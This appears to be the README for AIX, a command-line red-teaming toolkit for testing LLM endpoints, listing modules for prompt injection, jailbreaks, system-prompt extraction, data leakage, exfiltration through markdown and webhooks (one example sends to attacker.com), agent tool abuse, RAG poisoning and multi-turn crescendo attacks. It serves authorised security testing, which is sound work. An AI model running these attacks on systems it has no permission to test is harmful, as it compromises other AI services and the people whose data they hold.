aix-framework 1.1.0

AIX - AI eXploit Framework: Comprehensive security testing toolkit for AI/LLM systems

AIX - AI eXploit Framework

    ▄▀█ █ ▀▄▀
    █▀█ █ █ █  v1.1.0

    AI Security Testing Framework

The first comprehensive AI/LLM security testing tool.

What is AIX?

AIX is an automated security testing framework for AI/LLM endpoints. It provides penetration testers and red teamers with the tools to assess AI systems for vulnerabilities including:

• Prompt Injection - Direct and indirect injection attacks
• Jailbreaking - Bypass AI safety restrictions
• System Prompt Extraction - Extract hidden instructions
• Data Leakage - Training data and PII extraction
• Data Exfiltration - Test exfil channels (markdown, links)
• Agent Exploitation - Tool abuse and privilege escalation
• DoS Attacks - Token exhaustion and resource abuse
• Fuzzing - Edge cases and encoding attacks
• Memory Attacks - Context manipulation and poisoning
• RAG Attacks - Knowledge base and retrieval vulnerabilities
• Multi-Turn Attacks - Conversation-based exploitation (crescendo, trust building, context poisoning)
• Model Fingerprinting - Probabilistic LLM identification via embedding and pattern analysis
• Attack Chains - YAML-defined attack workflows with conditional branching and state passing

---

Installation

# Clone the repository
git clone https://github.com/r08t/aix-framework.git
cd aix-framework
# Install script
chmod +x install.sh
./install.sh

# OR 

# Install dependencies
pip install -r requirements.txt
# Install AIX
pip install -e .

# Verify installation
aix --version

Optional Dependencies

# ML features (embedding-based model fingerprinting)
pip install aix-framework[ml]

# Development tools
pip install aix-framework[dev]

---

Quick Start

# Basic reconnaissance
aix recon https://api.target.com/chat

# Test for prompt injection
aix inject https://api.target.com/chat -k sk-xxx

# Run all modules
aix scan https://api.target.com/chat -k sk-xxx

# Run attack chain playbook
aix chain https://api.target.com/chat -k sk-xxx -P full_compromise

# Use with Burp Suite request file
aix inject -r request.txt -p "messages[0].content"

# Target a WebSocket endpoint
aix inject ws://api.target.com/ws -k sk-xxx
aix scan wss://api.target.com/ws -k sk-xxx

# Generate HTML report
aix db --export report.html

# View sessions and conversations
aix db --sessions
aix db --conversations

---

Modules

recon - Reconnaissance

Discover AI endpoint details including API structure, authentication, input filters, model fingerprinting, and rate limits. Includes built-in fingerprinting to identify the underlying LLM model.

aix recon https://company.com/chatbot
aix recon -r request.txt -p "messages[0].content"
aix recon https://api.company.com -o profile.json

fingerprint - Model Fingerprinting

Identify the underlying LLM model behind an endpoint using probabilistic analysis. Supports two strategies: embedding-based (high accuracy, requires aix-framework[ml]) and pattern-based (default fallback using regex matching and softmax scoring).

aix fingerprint https://api.target.com -k sk-xxx
aix fingerprint -r request.txt -p "messages[0].content"

inject - Prompt Injection

Test for prompt injection vulnerabilities including direct injection, indirect injection, context manipulation, and instruction override.

aix inject https://api.target.com -k sk-xxx
aix inject -r request.txt -p "messages[0].content"
aix inject --profile company.com --evasion aggressive

jailbreak - Bypass Restrictions

Test restriction bypass techniques including DAN variants, character roleplay, developer mode, and hypothetical framing.

aix jailbreak https://chat.company.com
aix jailbreak -r request.txt -p "messages[0].content"
aix jailbreak --profile company.com --test-harmful

extract - System Prompt Extraction

Extract hidden system prompts using direct extraction, roleplay extraction, translation tricks, and repeat/format abuse.

aix extract https://api.target.com -k sk-xxx
aix extract -r request.txt -p "messages[0].content"
aix extract --profile company.com

leak - Training Data Extraction

Test for data leakage including PII in responses, memorized training data, RAG document leakage, and model architecture info.

aix leak https://api.target.com -k sk-xxx
aix leak -r request.txt -p "messages[0].content"
aix leak --profile company.com

exfil - Data Exfiltration

Test data exfiltration channels including markdown image injection, link injection, hidden iframes, and webhook callbacks.

aix exfil https://api.target.com -k sk-xxx --webhook https://attacker.com
aix exfil -r request.txt -p "messages[0].content"
aix exfil --profile company.com

agent - Agent Exploitation

Test AI agent vulnerabilities including tool abuse, unauthorized actions, privilege escalation, and code execution.

aix agent https://agent.target.com -k sk-xxx
aix agent -r request.txt -p "messages[0].content"
aix agent --profile company.com

dos - Denial of Service

Test resource exhaustion including token exhaustion, rate limit testing, infinite loop prompts, and memory exhaustion.

aix dos https://api.target.com -k sk-xxx
aix dos -r request.txt -p "messages[0].content"
aix dos --profile company.com

fuzz - Fuzzing

Test edge cases and malformed input including unicode fuzzing, format string attacks, boundary testing, and encoding attacks.

aix fuzz https://api.target.com -k sk-xxx
aix fuzz -r request.txt -p "messages[0].content"
aix fuzz --profile company.com --iterations 500

memory - Memory Attacks

Test memory and context vulnerabilities including context window overflow, conversation history poisoning, persistent memory manipulation, context bleeding, and recursive attacks.

aix memory https://api.target.com -k sk-xxx
aix memory -r request.txt -p "messages[0].content"

rag - RAG Attacks

Test RAG (Retrieval-Augmented Generation) specific vulnerabilities including indirect prompt injection via documents, context poisoning, source manipulation, retrieval bypass, knowledge base extraction, and chunk boundary attacks.

aix rag https://api.target.com -k sk-xxx
aix rag -r request.txt -p "messages[0].content"
aix rag --profile company.com

RAG Attack Categories:

Category	Description	Risk
Indirect Injection	Instructions hidden in documents that get retrieved	CRITICAL
Context Poisoning	Adversarial content injected via retrieval	CRITICAL
Source Manipulation	Extract or spoof document sources/citations	HIGH
Retrieval Bypass	Make LLM ignore retrieved documents	HIGH
KB Extraction	Extract info about the knowledge base	MEDIUM
Chunk Boundary	Exploit document chunking logic	MEDIUM

multiturn - Multi-Turn Attacks

Advanced attacks that exploit conversation context across multiple turns. These attacks bypass single-shot defenses by building context, trust, or injecting instructions gradually.

aix multiturn https://api.target.com -k sk-xxx
aix multiturn -r request.txt -p "messages[0].content"
aix multiturn https://api.target.com --category crescendo --level 3
aix multiturn --profile company.com --max-turns 5 --turn-delay 1.0

Multi-Turn Attack Categories:

Category	Description	Risk
Crescendo	Gradually escalate from benign to malicious across turns	CRITICAL
Trust Building	Establish rapport and helpfulness before payload delivery	HIGH
Context Poisoning	Define terms/concepts early, abuse them in later turns	HIGH
Role Lock	Deep persona establishment that persists across turns	HIGH
Memory Injection	Inject false memories of previous conversations	MEDIUM
Instruction Layering	Stack partial instructions across turns, combine at end	CRITICAL
Cognitive Overload	Overwhelm with complexity before slipping in attack	MEDIUM
Authority Transfer	Establish expert authority, then leverage it	MEDIUM

Multi-Turn Specific Options:

Option	Description
--category	Filter by attack category (crescendo, trust_building, etc.)
--max-turns	Maximum turns per sequence (default: 10)
--turn-delay	Delay between turns in seconds (default: 0.5)

chain - Attack Chains

Execute multi-step attack workflows defined in YAML playbooks. Chains support conditional branching, variable interpolation, and state passing between steps.

aix chain https://api.target.com -k sk-xxx -P full_compromise
aix chain -r request.txt -p "messages[0].content" -P prompt_theft
aix chain https://api.target.com -P rag_pwn -V level=3 -V evasion=aggressive
aix chain --list                    # List available playbooks
aix chain --show full_compromise    # Show playbook structure
aix chain --dry-run -P quick_scan   # Preview execution plan

Pre-Built Playbooks:

Playbook	Description
full_compromise	Complete attack chain from recon to data exfiltration
data_exfil	Data exfiltration focused chain
prompt_theft	System prompt extraction chains
quick_scan	Fast security assessment
rag_pwn	RAG-specific attack sequences
stealth_recon	Low-noise reconnaissance

Chain-Specific Options:

Option	Description
-P, --playbook	Playbook name or path to YAML file
-V, --var	Override playbook variables (key=value)
--list	List available playbooks
--show	Show playbook structure
--dry-run	Preview execution plan without running
--no-viz	Disable live visualization
--export-mermaid	Export chain as Mermaid diagram

scan - Full Scan

Run all modules against a target for comprehensive security assessment.

aix scan https://api.target.com -k sk-xxx
aix scan -r request.txt -p "messages[0].content"
aix scan --profile company.com --evasion aggressive

---

Common Options

Option	Short	Description
--request	-r	Request file (Burp Suite format)
--param	-p	Parameter path for injection (e.g., messages[0].content)
--key	-k	API key for direct API access
--profile	-P	Use saved profile
--verbose	-v	Verbose output (-v: reasons, -vv: debug)
--output	-o	Output file for results
--proxy		HTTP proxy for outbound requests (host:port)
--cookie	-C	Cookies for authentication (key=value; ...)
--headers	-H	Custom headers (key:value; ...)
--format	-F	Request body format (json, form, multipart)
--level		Test level (1-5, higher = more tests)
--risk		Risk level (1-3, higher = riskier tests)
--show-response		Show AI response for findings
--verify-attempts	-va	Number of verification attempts

Session Refresh Options

Option	Description
--refresh-url	URL to fetch new session ID if expired
--refresh-regex	Regex to extract session ID from refresh response
--refresh-param	Parameter to update with new session ID
--refresh-error	String/Regex in response body that triggers refresh

AI Engine Options

Option	Description
--ai	AI provider for evaluation and context (openai, anthropic, ollama, gemini)
--ai-key	API key for AI provider
--ai-model	Model to use (e.g., gpt-4o, claude-3-sonnet)
--no-eval	Disable LLM-as-a-Judge evaluation
--no-context	Disable AI context gathering
--generate / -g	Generate N context-aware payloads using AI

Legacy LLM Evaluation Options

Option	Description
--eval-url	URL for secondary LLM evaluation
--eval-key	API key for secondary LLM
--eval-model	Model for secondary LLM
--eval-provider	Provider (openai, anthropic, ollama, gemini)

---

Attack Chain Playbooks

Create custom attack workflows with YAML playbooks:

# my_chain.yaml
name: "Custom Attack Chain"
description: "My custom attack workflow"
version: "1.0"

config:
  stop_on_critical: true
  continue_on_module_fail: false
  max_duration: 300

variables:
  evasion: "light"
  level: 2

steps:
  # Step 1: Reconnaissance
  - id: recon
    name: "Target Reconnaissance"
    module: recon
    config:
      level: "{{level}}"
    store:
      has_rag: "findings.has_rag"
    on_success: next_step
    on_fail: abort

  # Step 2: Conditional branching
  - id: next_step
    type: condition
    conditions:
      - if: "{{has_rag}} == true"
        then: rag_attack
      - else: inject_attack

  # Step 3a: RAG path
  - id: rag_attack
    module: rag
    config:
      level: "{{level}}"
    on_success: report
    on_fail: report

  # Step 3b: Injection path
  - id: inject_attack
    module: inject
    config:
      evasion: "{{evasion}}"
    on_success: report
    on_fail: report

  # Final step
  - id: report
    type: report
    config:
      format: "html"

Run your custom playbook:

aix chain https://target.com -P ./my_chain.yaml -k sk-xxx

---

Using Burp Suite Requests

Export a request from Burp Suite and use it with AIX:

# Save request from Burp Suite to request.txt
aix inject -r request.txt -p "messages[0].content"

The -p parameter specifies the JSON path to the injection point. Examples:

• messages[0].content - First message content
• prompt - Direct prompt field
• input.text - Nested input field

---

WebSocket Support

AIX supports WebSocket endpoints (ws:// and wss://) natively. Use them exactly like HTTP targets:

aix recon ws://api.target.com/chat
aix inject wss://api.target.com/chat -k sk-xxx
aix scan wss://api.target.com/chat -k sk-xxx

Chat ID Tracking

For stateful APIs that return a session or chat ID in the response, AIX can extract and reuse it automatically across requests:

Option	Description
--chat-id-path	Dot-path to extract chat ID from response JSON (e.g., data.chat_id)
--chat-id-param	Request parameter to inject the captured chat ID into
--new-chat	Force a new conversation for each payload (ignore existing chat ID)
--reuse-chat	Reuse the same chat ID for all payloads in this run

# Extract chat_id from response and send it back in subsequent requests
aix inject https://api.target.com/chat --chat-id-path data.chat_id --chat-id-param chat_id

Note: HTTP proxy is not supported for WebSocket connections. SSL verification is disabled for wss:// (same as other connectors, for use with Burp/ZAP).

---

Database & Reporting

# View all results
aix db

# Filter by target
aix db --target company.com

# Filter by module
aix db --module inject

# Export HTML report
aix db --export report.html

# Clear database
aix db --clear

# --- Sessions ---
# List all sessions (grouped by target)
aix db --sessions

# Show results for a specific session
aix db --session <session-id>

# --- Conversations ---
# List all recorded conversations (multi-turn)
aix db --conversations

# Show full transcript for a specific conversation
aix db --conversation <conversation-id>

All scan runs are automatically grouped into sessions by target. Multi-turn attack transcripts are stored as conversations and linked to both their session and individual findings.

---

AI-Powered Features

AIX includes AI-powered features for smarter testing:

Context Gathering

Automatically analyze the target AI to understand its purpose, domain, and capabilities:

aix recon https://api.target.com --ai openai --ai-key sk-xxx

This probes the target and extracts:

• Purpose: What the AI is designed to do (customer_support, code_assistant, etc.)
• Domain: Operating sector (finance, healthcare, legal, etc.)
• Capabilities: RAG, tools, code generation, etc.
• Restrictions: Detected guardrails and limitations
• Suggested Attacks: Recommended attack vectors

Context-Aware Payload Generation

Generate payloads tailored to the target's specific purpose and domain:

# Generate 5 context-aware payloads
aix inject https://api.target.com --ai openai --ai-key sk-xxx -g 5

# Works on all modules
aix jailbreak https://api.target.com --ai openai --ai-key sk-xxx -g 5
aix extract https://api.target.com --ai openai --ai-key sk-xxx -g 5
aix rag https://api.target.com --ai openai --ai-key sk-xxx -g 5

Generated payloads use domain-specific language and are framed as legitimate requests within the AI's expected purpose.

LLM-as-a-Judge Evaluation

Use a secondary LLM to evaluate attack success instead of keyword matching:

aix inject https://api.target.com --ai openai --ai-key sk-xxx

This provides:

• Lower false positives (understands context)
• Better detection of subtle bypasses
• Reasoning explanations for each finding

---

Evasion Levels

Level	Description
none	No evasion, raw payloads
light	Basic obfuscation (default)
aggressive	Heavy encoding and bypass techniques

aix inject https://target.com --evasion aggressive

---

Contributing

Contributions are welcome! Please feel free to submit issues and pull requests.

Adding Payloads

1. Fork the repository
2. Add payloads to the appropriate JSON file in aix/payloads/
3. Follow the payload structure:

{
    "name": "payload_name",
    "payload": "The actual payload text",
    "indicators": ["success", "indicators", "to", "match"],
    "severity": "CRITICAL|HIGH|MEDIUM|LOW",
    "category": "category_name",
    "level": 1,
    "risk": 1
}

4. Test against safe targets
5. Submit pull request

Adding Modules

1. Create module in aix/modules/
2. Create payloads in aix/payloads/
3. Update aix/modules/__init__.py
4. Add CLI command in aix/cli.py

---

Disclaimer

This tool is intended for authorized security testing only. Always obtain proper authorization before testing AI systems. The authors are not responsible for misuse of this tool.

Only use AIX on systems you have permission to test.

---

License

MIT License - see LICENSE for details.

---

Made with ❤️ by the r08t